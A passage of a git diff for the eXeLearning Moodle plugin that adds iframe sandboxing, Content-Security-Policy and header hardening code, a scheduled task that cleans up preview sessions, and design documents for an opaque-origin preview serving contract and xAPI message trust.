+ * (js/scorm_bridge_shim.js in the iframe, js/scorm_bridge_relay.js in the parent), and the
+ * parent keeps the sesskey and performs the track.php request. The historical same-origin
+ * "legacy" mode is no longer a production setting; it survives only as a dev-only escape hatch
+ * (the EXELEARNING_UNSAFE_LEGACY_IFRAME constant) for environments whose service worker cannot
+ * serve an opaque subframe (the php-wasm Moodle Playground), and defaults off.
+ *
+ * Centralised here so the policy is unit-testable without rendering view.php.
+ * See research ADR DEC-0059 (advances the Tier 2 roadmap of DEC-0019).
+ */
+final class player_iframe {
+    /** @var string Secure mode: opaque-origin iframe + postMessage SCORM bridge (the production mode). */
+    public const MODE_SECURE = 'secure';
+
+    /**
+     * Legacy mode: same-origin iframe. NOT a production mode — reachable only through the dev-only
+     * EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch, for environments whose service worker cannot
+     * serve an opaque subframe (the php-wasm Moodle Playground).
+     *
+     * @var string
+     */
+    public const MODE_LEGACY = 'legacy';
+
+    /** @var string Open embeds: promote any cross-origin https iframe (DEC-0061). */
+    public const EMBED_OPEN = 'open';
+
+    /** @var string Strict embeds: only the maintained host allowlist (the default). */
+    public const EMBED_STRICT = 'strict';
+
+    /** @var string Strict CSP profile (default): no bare https: token-exfiltration channels. */
+    public const CSP_STRICT = 'strict';
+
+    /** @var string Compatible CSP profile: allows https: img/media/script for external assets. */
+    public const CSP_COMPATIBLE = 'compatible';
+
+    /**
+     * Default host whitelist for external video embeds promoted to the parent page.
+     *
+     * In secure mode the package is opaque, so cross-origin players (YouTube/Vimeo)
+     * load blank. Iframes whose src host is on this list are replaced by a placeholder
+     * in the package (js/exe_embed_shim.js) and rendered as a real player by the parent
+     * (js/exe_embed_relay.js). PDFs are handled separately (by .pdf extension) and need
+     * no host entry.
+     *
+     * @var string[]
+     */
+    public const DEFAULT_EMBED_HOSTS = [
+        'www.youtube.com',
+        'youtube.com',
+        'www.youtube-nocookie.com',
+        'youtube-nocookie.com',
+        'player.vimeo.com',
+        'vimeo.com',
+        'www.dailymotion.com',
+        'dailymotion.com',
+        'geo.dailymotion.com',
+        'mediateca.educa.madrid.org',
+    ];
+
+    /**
+     * The package iframe mode. Secure (opaque origin) in production; the same-origin legacy mode is
+     * reachable only through the dev-only EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch, which
+     * defaults off and is never exposed as a Moodle setting.
+     *
+     * @return string self::MODE_SECURE, or self::MODE_LEGACY when the escape hatch is enabled.
+     */
+    public static function resolve_mode(): string {
+        return self::is_unsafe_legacy() ? self::MODE_LEGACY : self::MODE_SECURE;
+    }
+
+    /**
+     * Whether the dev-only same-origin escape hatch is enabled. Never a Moodle setting: it is the
+     * EXELEARNING_UNSAFE_LEGACY_IFRAME PHP constant (defined in config.php) or the env var of the
+     * same name, intended only for environments whose service worker cannot serve an opaque
+     * subframe (the php-wasm Moodle Playground). Defaults off.
+     *
+     * @return bool True when the constant or env var is set and truthy.
+     */
+    public static function is_unsafe_legacy(): bool {
+        if (defined('EXELEARNING_UNSAFE_LEGACY_IFRAME')) {
+            return (bool) constant('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        }
+        $env = getenv('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        return $env !== false && filter_var($env, FILTER_VALIDATE_BOOLEAN);
+    }
+
+    /**
+     * Whether the configured mode isolates the package (opaque origin + bridge).
+     *
+     * @return bool True in secure mode.
+     */
+    public static function is_secure(): bool {
+        return self::resolve_mode() === self::MODE_SECURE;
+    }
+
+    /**
+     * Sandbox token list for the (always opaque) package iframe.
+     *
+     * Deliberately OMITS allow-same-origin (forcing an opaque origin so the package cannot
+     * reach Moodle's DOM/cookies/session), allow-top-navigation (a package must never change
+     * the parent URL), allow-modals (alert/confirm/prompt UX traps) and
+     * allow-popups-to-escape-sandbox (an escaped popup would reopen at Moodle's real origin
+     * without the sandbox). allow-scripts/allow-popups/allow-forms are kept because
+     * eXeLearning v4 iDevices need jQuery + scripts, popups (interactive-video, hidden-image)
+     * and forms (quick-questions, form, scrambled-list). See ADR DEC-0059 / DEC-0019 / AN-008.
+     *
+     * @return string Space-separated sandbox token list.
+     */
+    public static function sandbox_tokens(): string {
+        if (!self::is_secure()) {
+            // Dev-only escape hatch: same-origin so a service worker that only serves same-origin
+            // documents (the php-wasm Playground) can load the package CSS/JS. Never used in production.
+            return 'allow-same-origin allow-scripts allow-popups allow-forms';
+        }
+        return 'allow-scripts allow-popups allow-forms';
+    }
+
+    /**
+     * Resolve the external-embed policy (DEC-0061). Default 'strict' restricts promotion to
+     * the maintained provider allowlist with canonical URL reconstruction; 'open' is an
+     * explicit opt-in that promotes any cross-origin https iframe (the player is sandboxed +
+     * cross-origin, so SOP isolates it from Moodle). Any unset or unrecognised value fails
+     * safe to 'strict' (toward the more restrictive policy).
+     *
+     * @return string self::EMBED_OPEN or self::EMBED_STRICT.
+     */
+    public static function embed_mode(): string {
+        $value = get_config('mod_exelearning', 'embedmode');
+        return ($value === self::EMBED_OPEN) ? self::EMBED_OPEN : self::EMBED_STRICT;
+    }
+
+    /**
+     * Resolve the content CSP profile. 'strict' (default) blocks bare https: exfiltration
+     * channels (the per-user file token lives in the URL, so open img/media/script would let
+     * author JS leak it). 'compatible' re-opens img/media/script to https: for content that
+     * loads external author assets (third-party images, a MathJax CDN) — documented weaker.
+     * Any unset or unrecognised value fails safe to 'strict'.
+     *
+     * @return string self::CSP_STRICT or self::CSP_COMPATIBLE.
+     */
+    public static function csp_profile(): string {
+        $value = get_config('mod_exelearning', 'cspprofile');
+        return ($value === self::CSP_COMPATIBLE) ? self::CSP_COMPATIBLE : self::CSP_STRICT;
+    }
+
+    /**
+     * Normalized host whitelist for external video embeds (lowercase, de-duplicated).
+     * Only consulted by the relay in 'strict' mode.
+     *
+     * @return string[]
+     */
+    public static function embed_whitelist(): array {
+        $clean = [];
+        foreach (self::DEFAULT_EMBED_HOSTS as $host) {
+            $host = strtolower(trim((string) $host));
+            if ($host !== '') {
+                $clean[$host] = true;
+            }
+        }
+        return array_keys($clean);
+    }
+
+    /**
+     * Permissions-Policy header value for the embedded package (DEC-0060).
+     *
+     * Denies hardware/sensor features the package never needs. `fullscreen` is
+     * intentionally NOT denied: the iframe grants it via its allow= attribute and
+     * iDevices use it. Emitted by exelearning_pluginfile() in secure mode.
+     *
+     * @return string The Permissions-Policy header value.
+     */
+    public static function permissions_policy(): string {
+        return 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), serial=(), '
+            . 'bluetooth=(), hid=(), magnetometer=(), accelerometer=(), gyroscope=(), '
+            . 'midi=(), display-capture=()';
+    }
+
+    /**
+     * Content-Security-Policy header value for the embedded package (DEC-0060).
+     *
+     * Strict (default): object-src/base-uri closed, frame-ancestors 'self', connect-src
+     * limited to this site, and NO bare https: in script/img/media-src so the per-user file
+     * token in the URL cannot be exfiltrated (e.g. via new Image().src). frame-src is limited
+     * to the maintained providers. Compatible re-opens img/media/script (and frame-src) to
+     * https: for content with external author images or a MathJax CDN — documented weaker.
+     * The CSP-level `sandbox` keeps the document opaque even if the token URL is opened
+     * outside the iframe (a new tab), mirroring the iframe sandbox tokens.
+     *
+     * @param string $siteorigin The scheme://host[:port] origin of this Moodle site.
+     * @param string|null $profile self::CSP_STRICT/CSP_COMPATIBLE, or null to use csp_profile().
+     * @return string The Content-Security-Policy header value.
+     */
+    public static function content_security_policy(string $siteorigin, ?string $profile = null): string {
+        $profile = ($profile === self::CSP_COMPATIBLE || $profile === self::CSP_STRICT)
+            ? $profile
+            : self::csp_profile();
+        if ($profile === self::CSP_COMPATIBLE) {
+            $scriptsrc = "script-src 'self' $siteorigin 'unsafe-inline' 'unsafe-eval' https:; ";
+            $imgsrc = "img-src 'self' $siteorigin data: blob: https:; ";
+            $mediasrc = "media-src 'self' $siteorigin data: blob: https:; ";
+            $framesrc = "frame-src 'self' $siteorigin https:; ";
+        } else {
+            $providers = 'https://www.youtube-nocookie.com https://player.vimeo.com '
+                . 'https://www.dailymotion.com https://mediateca.educa.madrid.org';
+            $scriptsrc = "script-src 'self' $siteorigin 'unsafe-inline' 'unsafe-eval'; ";
+            $imgsrc = "img-src 'self' $siteorigin data: blob:; ";
+            $mediasrc = "media-src 'self' $siteorigin data: blob:; ";
+            $framesrc = "frame-src 'self' $siteorigin $providers; ";
+        }
+        $policy = "default-src 'self' $siteorigin; "
+            . $scriptsrc
+            . "style-src 'self' $siteorigin 'unsafe-inline'; "
+            . $imgsrc
+            . $mediasrc
+            . "font-src 'self' $siteorigin data:; "
+            . "connect-src 'self' $siteorigin; "
+            . $framesrc
+            . "object-src 'none'; base-uri 'none'; form-action 'self' $siteorigin; "
+            . "frame-ancestors 'self'";
+        // The CSP-level `sandbox` keeps the document opaque even if its URL is opened outside the
+        // iframe. Omit it under the dev-only legacy escape hatch (the php-wasm Playground), which
+        // needs same-origin rendering; the iframe sandbox attribute is relaxed in lockstep.
+        if (self::is_secure()) {
+            $policy .= "; sandbox allow-scripts allow-popups allow-forms";
+        }
+        return $policy;
+    }
+
+    /**
+     * Defense-in-depth response headers for a served package file (DEC-0060).
+     *
+     * In secure mode EVERY served file gets Referrer-Policy: no-referrer and
+     * X-Content-Type-Options: nosniff. The per-user file token lives in the URL path, so
+     * even a CSS/JS subresource that pulls a cross-origin image must not leak it via the
+     * Referer header; and nosniff forces each file to be interpreted by its declared
+     * Content-Type, so a package cannot smuggle executable HTML behind, e.g., a .pdf path
+     * (the promoted PDF player is unsandboxed). The document-level Content-Security-Policy
+     * and Permissions-Policy are added only for an HTML document (subresources ignore
+     * them). The caller (exelearning_pluginfile) is just a header-emitting loop, since the
+     * package always renders opaque. Keeping the decision and the values here makes them
+     * unit-testable (the pluginfile callback that emits them exits via send_stored_file
+     * and cannot be unit-tested directly).
+     *
+     * @param string $filename The served file name (only *.html(?) get CSP/Permissions-Policy).
+     * @param string $wwwroot This Moodle site's $CFG->wwwroot (origin is derived from it).
+     * @return array Map of header name => value (empty when no headers apply).
+     */
+    public static function content_headers(string $filename, string $wwwroot): array {
+        // Apply to every served package file (the token rides in the URL for all of them).
+        $headers = [
+            'Referrer-Policy' => 'no-referrer',
+            'X-Content-Type-Options' => 'nosniff',
+        ];
+        // CSP + Permissions-Policy are document-level and only meaningful on an HTML page.
+        if (preg_match('~\.html?$~i', $filename)) {
+            $siteorigin = preg_replace('~^(https?://[^/]+).*~i', '$1', $wwwroot);
+            $headers['Permissions-Policy'] = self::permissions_policy();
+            $headers['Content-Security-Policy'] = self::content_security_policy($siteorigin);
+        }
+        return $headers;
+    }
+}
diff --git a/classes/task/preview_session_cleanup.php b/classes/task/preview_session_cleanup.php
new file mode 100644
index 0000000..2d10b74
--- /dev/null
+++ b/classes/task/preview_session_cleanup.php
@@ -0,0 +1,52 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\task;
+
+use mod_exelearning\local\preview\session_store;
+
+/**
+ * Scheduled task: reap idle-expired editor preview sessions.
+ *
+ * The preview session store keeps ephemeral, file-backed sessions under the
+ * Moodle temp directory (serving contract v2). Sessions are also checked
+ * opportunistically on access, but a session that is created and then never
+ * touched again is only reclaimed here.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+class preview_session_cleanup extends \core\task\scheduled_task {
+    /**
+     * The human-readable task name shown in the scheduled tasks admin report.
+     *
+     * @return string
+     */
+    public function get_name(): string {
+        return get_string('previewsessioncleanup', 'mod_exelearning');
+    }
+
+    /**
+     * Sweep every idle-expired preview session.
+     */
+    public function execute(): void {
+        $swept = session_store::sweep_expired();
+        if ($swept > 0) {
+            mtrace('mod_exelearning: swept ' . $swept . ' expired preview session(s).');
+        }
+    }
+}
diff --git a/db/tasks.php b/db/tasks.php
new file mode 100644
index 0000000..5f7d428
--- /dev/null
+++ b/db/tasks.php
@@ -0,0 +1,37 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * mod_exelearning scheduled task definitions.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+defined('MOODLE_INTERNAL') || die();
+
+$tasks = [
+    [
+        'classname' => 'mod_exelearning\task\preview_session_cleanup',
+        'blocking' => 0,
+        'minute' => '*/15',
+        'hour' => '*',
+        'day' => '*',
+        'month' => '*',
+        'dayofweek' => '*',
+    ],
+];
diff --git a/docs/preview-serving-contract.md b/docs/preview-serving-contract.md
new file mode 100644
index 0000000..9aecfe2
--- /dev/null
+++ b/docs/preview-serving-contract.md
@@ -0,0 +1,227 @@
+# Preview Serving Contract v2 — Host-Served Opaque HTTP Preview (Moodle adapter)
+
+`mod_exelearning` implements the eXeLearning **Preview Serving Contract v2** so
+the embedded editor can render the **preview of untrusted author HTML/JS** in a
+browser-enforced **opaque origin** over a real HTTP capability URL served by this
+plugin. There is no `srcdoc` or Service-Worker fallback in the embed: when the
+HTTP preview is unavailable the editor **fails closed** with a clear error rather
+than silently downgrading the isolation boundary (the same-origin
+`static-service-worker` trusted-content mode is a standalone-only compatibility
+path, never used inside an embedded host).
+
+This is a per-host **adapter**. The single source of truth is eXe core:
+
+- **Canonical contract:** [`exelearning/doc/development/preview-serving-contract.md`](../../exelearning/doc/development/preview-serving-contract.md)
+- **Isolation policy (verbatim CSP):** `exelearning/src/shared/security/previewSandbox.ts` → `previewCspHeader()`
+- **Reference server:** `exelearning/src/services/preview-session-manager.ts`, `preview-serving.ts`, `preview-fixed-resources.ts`
+- **Shared conformance vectors:** `exelearning/test/fixtures/preview-contract/vectors.json` (vendored here at
+  `tests/fixtures/preview-contract/vectors.json` and replayed by `conformance_test.php`)
+
+The **browser client is reused byte-for-byte**; only the *server* side is
+reimplemented here on Moodle's own primitives (`tokenpluginfile`-style cookieless
+serving, a file-backed session store, sesskey-gated management, a scheduled task).
+
+> **Why v2, in one line.** v1 re-hashed and re-serialized the whole project on
+> every refresh; v2 splits the preview into three layers with different
+> lifecycles so a refresh costs `O(changed documents + new assets)`.
+
+## The three layers
+
+| Layer | Contents | Lifecycle | Transferred |
+|---|---|---|---|
+| **Fixed installation resources** | official libs, base iDevice runtimes, base themes, PDF.js, content CSS, logo, fonts | immutable per installed editor version | **never** — served from the installed static editor, gated by `bundles/preview-fixed-resources.json` |
+| **Session project assets** | author images/audio/video/PDF | immutable per `assetKey`, session lifetime | **once per session** |
+| **Generated documents** | page HTML, generated CSS/JS, user themes/iDevices | change every edit | **only changed files**, as an atomic revision delta |
+
+## Implementation map
+
+| Concern | Location |
+|---|---|
+| Storage (three layers, atomic revisions, budgets, TTL, eviction) | `classes/local/preview/session_store.php` |
+| Session handle (three-layer `get_file()` resolution) | `classes/local/preview/preview_session.php` |
+| Protocol/response (CSP, tiered headers, ETag/Range, wire helpers) | `classes/local/preview/serving.php` |
+| Fixed-resource manifest resolver (layer 1) | `classes/local/preview/fixed_resources.php` |
+| Authless serving endpoint | `preview.php` |
+| Authenticated management endpoint | `editor/preview_session.php` |
+| Idle-session cleanup | `classes/task/preview_session_cleanup.php` + `db/tasks.php` |
+
+## A. Management API (authenticated — the author's session)
+
+A single dispatcher, `editor/preview_session.php`, gated by
+`require_login` + `require_sesskey` + `require_capability('moodle/course:manageactivities')`
+on the activity's module context and owner-scoped to `$USER`. It routes the
+contract's four operations by **HTTP method + PATH_INFO** (the same slash-argument
+shape `preview.php` serves), never a query `action`. `cmid` and `sesskey` stay in
+the query string on every request; the client sends them as `managementQuery`:
+
+| Contract operation | Request | Success |
+|---|---|---|
+| create | `POST {script}` | `201 {previewId, protocolVersion: 2, revision: 0, limits}` |
+| assets | `POST {script}/{previewId}/assets` (multipart: `assets` JSON `[{key,size}]`, `files[]`) | `200 {stored, alreadyStored, rejected}` |
+| revision | `POST {script}/{previewId}/revisions` (multipart: `revision` JSON, `files[]`) | `200 {revision, active: true}` |
+| delete | `DELETE {script}/{previewId}` | `200 {success: true}` |
+
+`{script}` is `{wwwroot}/mod/exelearning/editor/preview_session.php`. The routing
+lives in `serving::route_management()` (method + path → operation); an unknown path
+is `404` and a known path with the wrong method is `405` (with an `Allow` header).
+There is no `action=` back-compat shim.
+
+Enforced v2 semantics (identical to core):
+
+- **Asset keys** match `^[0-9a-fA-F-]{36}@[0-9a-f]{8,64}$` and are **immutable** —
+  re-uploading a key returns it in `alreadyStored` and never replaces bytes.
+- **Two-stage byte budget** — declared sizes before buffering, actual bytes while
+  buffering (`413`); per-entry `size-mismatch` / `asset-too-large` / budget reasons.
+- **Failed writes are never indexed** — an asset whose bytes cannot be durably
+  written is reported `rejected {reason:"write-failed"}` and is *not* added to the
+  index or the byte counter, so a later revision that references it fails
+  `missing-assets` rather than serving a blank `404`.
+- **Revision validation order** — `409 {reason:"revision-conflict", currentRevision}`
+  (stale/ non-consecutive) → `400` (unsafe path) → `422 {reason:"missing-assets", missing}`
+  → `422 {reason:"unknown-fixed-resources", resources}` → `413` (file-count / byte budgets).
+- **Atomicity** — the full document set is staged in `revisions/{n}` and published
+  by an atomic swap of a `current` pointer; a GET reads the pointer once and serves
+  from that immutable revision directory, never mixing revision *N* and *N+1*. A
+  document write/copy **or manifest (`revision.json`)** write failure while staging
+  aborts the publish **before** the swap (`500`), discarding the staged revision
+  and leaving the active revision intact — no revision goes live without its bytes
+  or its document map.
+- **Budgets & TTL** — 30-min idle TTL, 4 sessions/user, 5000 files/session,
+  200 MiB/session, 128 MiB/asset, 2 GiB global (LRU eviction on create).
+
+## B. Serving route (authless capability URL — serves the opaque iframe)
+
+```
+GET /mod/exelearning/preview.php/{previewId}/<path...>
+```
+
+Reference endpoint: [`preview.php`](../preview.php).
+
+- **Cookieless capability URL** (`NO_MOODLE_COOKIES`): the opaque iframe sends no
+  SameSite cookie, so the route is gated purely on the unguessable server-minted
+  `previewId` + idle TTL — the model the published package uses via
+  `tokenpluginfile.php`.
+- `previewId` must match the UUID shape; anything else → `404`.
+- **Bare capability root** — `GET /preview.php/{previewId}` and
+  `GET /preview.php/{previewId}/` (empty relative path) → **`302` redirect** to
+  `{previewId}/index.html`. Document bytes are never served from the bare URL, so
+  the opaque iframe's base URL is always the session directory. The `Location` is
+  **relative** (`{previewId}/index.html` without a trailing slash, `index.html`
+  with one) so it resolves against the request URL under any `$CFG->wwwroot`
+  subdirectory — matching the canonical conformance vector.
+- **Three-layer resolution** against the active revision only:
+  `documents[path]` → `assets[assetRefs[path]]` → `manifest[fixedRefs[path]]` → `404`.
+  A client path never becomes a filesystem path; only manifest-controlled paths
+  reach the disk (under the distribution root, with containment checks).
+- **Range** on session assets — a single satisfiable range → `206`; a
+  syntactically **valid** but unsatisfiable single range (first-byte-pos ≥ length
+  e.g. `bytes=99-`, or a zero suffix `bytes=-0`) → `416`; everything else is
+  **ignored** and served as a normal `200` full body (never `416`): a non-`bytes`
+  unit, a multi-range set, unparseable garbage, and an inverted spec whose
+  last-byte-pos is below its first-byte-pos (`bytes=5-2`, RFC 9110 invalid).
+  **Conditional** (`ETag`/`304`) requests are honored.
+
+## Required response headers (on every response, including 404s)
+
+```
+X-Content-Type-Options: nosniff
+Referrer-Policy: no-referrer
+Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
+Access-Control-Allow-Origin: *          (authless + cookieless; NEVER with credentials)
+Content-Type: <the file's real MIME type>
+```
+
+`Cache-Control` is **tiered by layer** — generated document `no-store`; session
+asset `no-cache` (+ `ETag`, honor `If-None-Match`); fixed resource
+`private, max-age=31536000`; 404 `no-store`.
+
+On **every scriptable document type** — `text/html`, **`image/svg+xml`**,
+`application/xml`, `text/xml`, `application/xhtml+xml`, from **any** layer —
+additionally emit the sandbox-first CSP **verbatim**:
+
+```
+Content-Security-Policy:
+  sandbox allow-scripts allow-popups allow-forms; default-src 'self';
+  script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
+  img-src 'self' data: blob: https:; media-src 'self' data: blob: https:;
+  font-src 'self' data:; connect-src 'self';
+  frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com;
+  child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com;
+  object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'self';
+```
+
+`serving::csp_header()` emits this as a single line joined by `; ` with no
+trailing `;` — **byte-identical** to core `previewCspHeader()`
+(`serving_test::test_csp_header_is_byte_identical_to_core` is the drift check).
+
+> **The preview is always opaque.** The preview CSP hardcodes its sandbox tokens
+> and does **not** reuse `player_iframe::sandbox_tokens()`: that helper can add
+> `allow-same-origin` under the published-content dev-only legacy escape hatch,
+> which would defeat the preview boundary. The two policies are deliberately
+> independent.
+
+## The fixed-resource manifest
+
+`serving`'s layer-1 resolver reads `bundles/preview-fixed-resources.json` from the
+**installed static editor distribution** — the admin-installed copy in moodledata,
+else the copy bundled in `dist/static/`, resolved through
+`embedded_editor_source_resolver::get_active_dir()`. Each `resources[id].path` is
+resolved under that distribution root with a strict containment check
+(`editor_paths::is_within` on the realpath, rejecting `..` and symlink escapes).
+
+- Ids resolve by **exact map lookup**; unknown id → miss (never a filesystem probe).
+- **Graceful degradation:** when the manifest is absent (older editor build, or
+  none installed) the fixed layer is disabled — `fixedRefs` in a revision get a
+  `422 unknown-fixed-resources` and the client demotes those paths to document
+  writes and retries. The route never fatals.
+
+## Cleanup
+
+`\mod_exelearning\task\preview_session_cleanup` (registered in `db/tasks.php`,
+every 15 minutes) sweeps idle-expired sessions; the serving and management paths
+also check the TTL opportunistically on access.
+
+## Conformance
+
+`tests/local/preview/conformance_test.php` replays the shared vectors verbatim.
+Alongside it: `serving_test.php` (protocol helpers incl. the CSP drift check),
+`session_store_test.php` (revision ordering/atomicity, budgets, traversal,
+immutability, TTL, eviction, ownership), `management_test.php` (wire validation
+and status mapping), and `fixed_resources_test.php` (manifest resolution +
+containment).
+
+## Client wiring (editor bootstrap)
+
+`editor/index.php` injects the normalized activation block into
+`window.__EXE_EMBEDDING_CONFIG__` so a preview-capable editor build selects the
+opaque HTTP transport (`HttpPreviewProvider`) against this plugin's own routes:
+
+```jsonc
+"previewHttp": {
+  "protocolVersion": 2,
+  "managementBaseUrl": "{wwwroot}/mod/exelearning/editor/preview_session.php",
+  "servingBaseUrl":    "{wwwroot}/mod/exelearning/preview.php",
+  "managementQuery":   { "cmid": "<cmid>", "sesskey": "<sesskey>" }
+}
+```
+
+Two URLs, two trust models (matching §A / §B):
+
+- **`managementBaseUrl`** — authenticated + owner-scoped. Auth is the Moodle login
+  cookie plus the `sesskey` query value (no `managementHeaders` are needed); the
+  client appends `managementQuery` to every management request.
+- **`servingBaseUrl`** — the authless capability URL that backs the opaque iframe.
+
+**Editor-build dependency.** The endpoints, the routing, and this config block are
+in place, but they stay **dormant** until an embedded editor build that ships
+`HttpPreviewProvider` (and a `bundles/preview-fixed-resources.json` manifest for
+the fixed layer) is installed. Older builds ignore `previewHttp`; nothing breaks.
+
+**Playground.** Under the php-wasm Moodle Playground (the `MOODLE_PLAYGROUND`
+constant) `previewHttp` is **omitted**, so a preview-capable editor **fails closed**
+with a clear error rather than silently downgrading: a service worker cannot serve
+a genuinely opaque iframe, so the Playground has no safe HTTP preview. Enabling
+preview there is a **blueprint-only, development-only** opt-in to
+`previewTransport: 'static-service-worker'` (which the core preview panel renders
+with a visible warning banner) — it is never an admin setting and is never
+auto-activated.
diff --git a/docs/testing-http-preview-core-artifact.md b/docs/testing-http-preview-core-artifact.md
new file mode 100644
index 0000000..1e1bd46
--- /dev/null
+++ b/docs/testing-http-preview-core-artifact.md
@@ -0,0 +1,69 @@
+# Testing the HTTP preview with a core pull-request artifact
+
+The Moodle adapter implements Preview Serving Contract v2, but a released editor older than `HttpPreviewProvider` ignores the injected `previewHttp` block. Before merging or releasing an editor upgrade, test this branch against one reproducible static-editor artifact built from the target eXeLearning core commit.
+
+## Build the canonical editor artifact
+
+From the eXeLearning core checkout:
+
+```bash
+make bundle
+make build-static
+```
+
+The resulting static distribution must contain all of the following:
+
+```text
+public/app/workarea/interface/elements/preview/HttpPreviewProvider.js
+public/app/workarea/interface/elements/preview/StaticServiceWorkerPreviewProvider.js
+public/bundles/preview-fixed-resources.json
+```
+
+It must not contain `SrcdocPreviewProvider.js` or `srcdocInliner.js`.
+
+Archive the complete static distribution once and record its SHA-256. Every host integration test should consume the same archive rather than building a different editor copy.
+
+## Install it for a Moodle integration test
+
+Install the archive through the normal embedded-editor installer, or replace the development copy under `dist/static/`. Do not commit the generated distribution to this repository.
+
+Open an activity editor and verify the browser network sequence:
+
+1. `POST editor/preview_session.php?cmid=...&sesskey=...` returns protocol version 2.
+2. New project assets are uploaded once to `/{previewId}/assets`.
+3. Revision 1 is published to `/{previewId}/revisions`.
+4. The iframe loads `preview.php/{previewId}/index.html`.
+5. The iframe sandbox omits `allow-same-origin`.
+6. Scriptable responses include the sandbox CSP.
+7. Editing one page publishes only changed generated documents.
+8. An unchanged image or video is not uploaded again.
+9. Closing the editor or TTL cleanup removes the preview session.
+
+The test should also cover external media, page navigation, a large ranged asset, session expiry, and recreation after a serving `404`.
+
+## Playground policy
+
+A php-wasm Service Worker cannot back an opaque iframe. Moodle Playground therefore omits `previewHttp` and fails closed by default.
+
+A development blueprint may deliberately enable the same-origin compatibility transport only with both fields:
+
+```jsonc
+{
+  "previewTransport": "static-service-worker",
+  "allowUnsafeEmbeddedPreview": true
+}
+```
+
+`previewTransport` alone is rejected. This setting must never be exposed as a Moodle administration option or enabled in production. The core editor displays a visible warning because this mode is not a security sandbox.
+
+## Merge evidence
+
+Record in the PR:
+
+- the core commit SHA;
+- the static archive SHA-256;
+- Moodle, PHP and database versions;
+- the browser used;
+- the preview management and serving requests observed;
+- confirmation that the iframe is opaque;
+- confirmation that unchanged assets are not retransmitted.
diff --git a/docs/tracking-architecture.md b/docs/tracking-architecture.md
index 0dddb2d..aca73dc 100644
--- a/docs/tracking-architecture.md
+++ b/docs/tracking-architecture.md
@@ -13,6 +13,14 @@
 > ingestor}`. The overall (`itemnumber=0`) is taken from the package statement and validated
 > server-side, because per-iDevice `answered` statements carry no weight.
 >
+> **Secure iframe (DEC-0065):** in the default opaque-origin secure mode (DEC-0059/DEC-0060) the same
+> xAPI-primary path applies, but the trust gate changes. The emitter's `event.origin` is the opaque
+> string `"null"`, so `js/xapi_listener.js` trusts a statement by **window identity**
+> (`event.source === the package iframe's contentWindow`) instead of origin — exactly like the SCORM
+> bridge relay. The SCORM channel is kept inert by the **parent-side relay**
+> (`js/scorm_bridge_relay.js` `disableTracking`), not the baked-in shim, so it holds even for packages
+> extracted before the flag existed. Legacy (same-origin) mode keeps the `event.origin` check.
+>
 > **Kill switch:** the site-admin setting *Use xAPI grading when the package supports it*
 > (`exelearning/xapiprimaryenabled`, default on; helper `exelearning_xapi_primary_enabled()`) turns the
 > whole xAPI channel off without a code change — `view.php` then keeps the SCORM shim live and skips the
diff --git a/docs/xapi-integration-plan.md b/docs/xapi-integration-plan.md
index ac3eee1..237d46f 100644
--- a/docs/xapi-integration-plan.md
+++ b/docs/xapi-integration-plan.md
@@ -76,11 +76,18 @@ Implemented as an **inline IIFE** (the `js/scorm_tracker.js` / DEC-0056 pattern)
 client JS is injected synchronously and needs no AMD build).
 
 - Listen to `window` `message` events; accept **only** `event.data.type === 'exe-xapi-statement'`.
-- **Validate `event.origin`** against the iframe `pluginfile.php`/wwwroot origin; drop `'*'` /
-  mismatched senders (defense in depth even though `config_injector` sets `parentOrigin` — RIE-013).
+- **Trust gate, mode-dependent (DEC-0065).** *Legacy (same-origin):* validate `event.origin` against
+  the wwwroot origin; drop `'*'` / mismatched senders (RIE-013). *Secure (opaque-origin, the default —
+  DEC-0059/DEC-0060):* the emitter's `event.origin` is the string `"null"`, so trust by **window
+  identity** (`event.source === the package iframe's contentWindow`) instead — the same anchor the
+  SCORM bridge relay uses. `view.php` selects the mode via `iframeid` (secure) vs `allowedOrigin`
+  (legacy).
 - De-dup by `statement.id` within the page session.
 - Forward to `xapi_track.php` with `sesskey`, `cmid`, and the page-load `registration`.
 - Never read or expose PII in JS.
+- In **secure mode** the parallel SCORM bridge is kept **inert** (so the package is graded once) by the
+  parent-side relay (`js/scorm_bridge_relay.js` `disableTracking`), not the baked-in shim — robust even
+  for packages extracted before the flag existed (DEC-0065).
 
 ## 4. Server endpoint (`xapi_track.php`) — *as shipped (DEC-0064)*
 
diff --git a/docs/xapi-qa-checklist.md b/docs/xapi-qa-checklist.md
index 46b4706..d15c7d7 100644
--- a/docs/xapi-qa-checklist.md
+++ b/docs/xapi-qa-checklist.md
@@ -1,4 +1,4 @@
-# xAPI ingestion — manual QA checklist (DEC-0064)
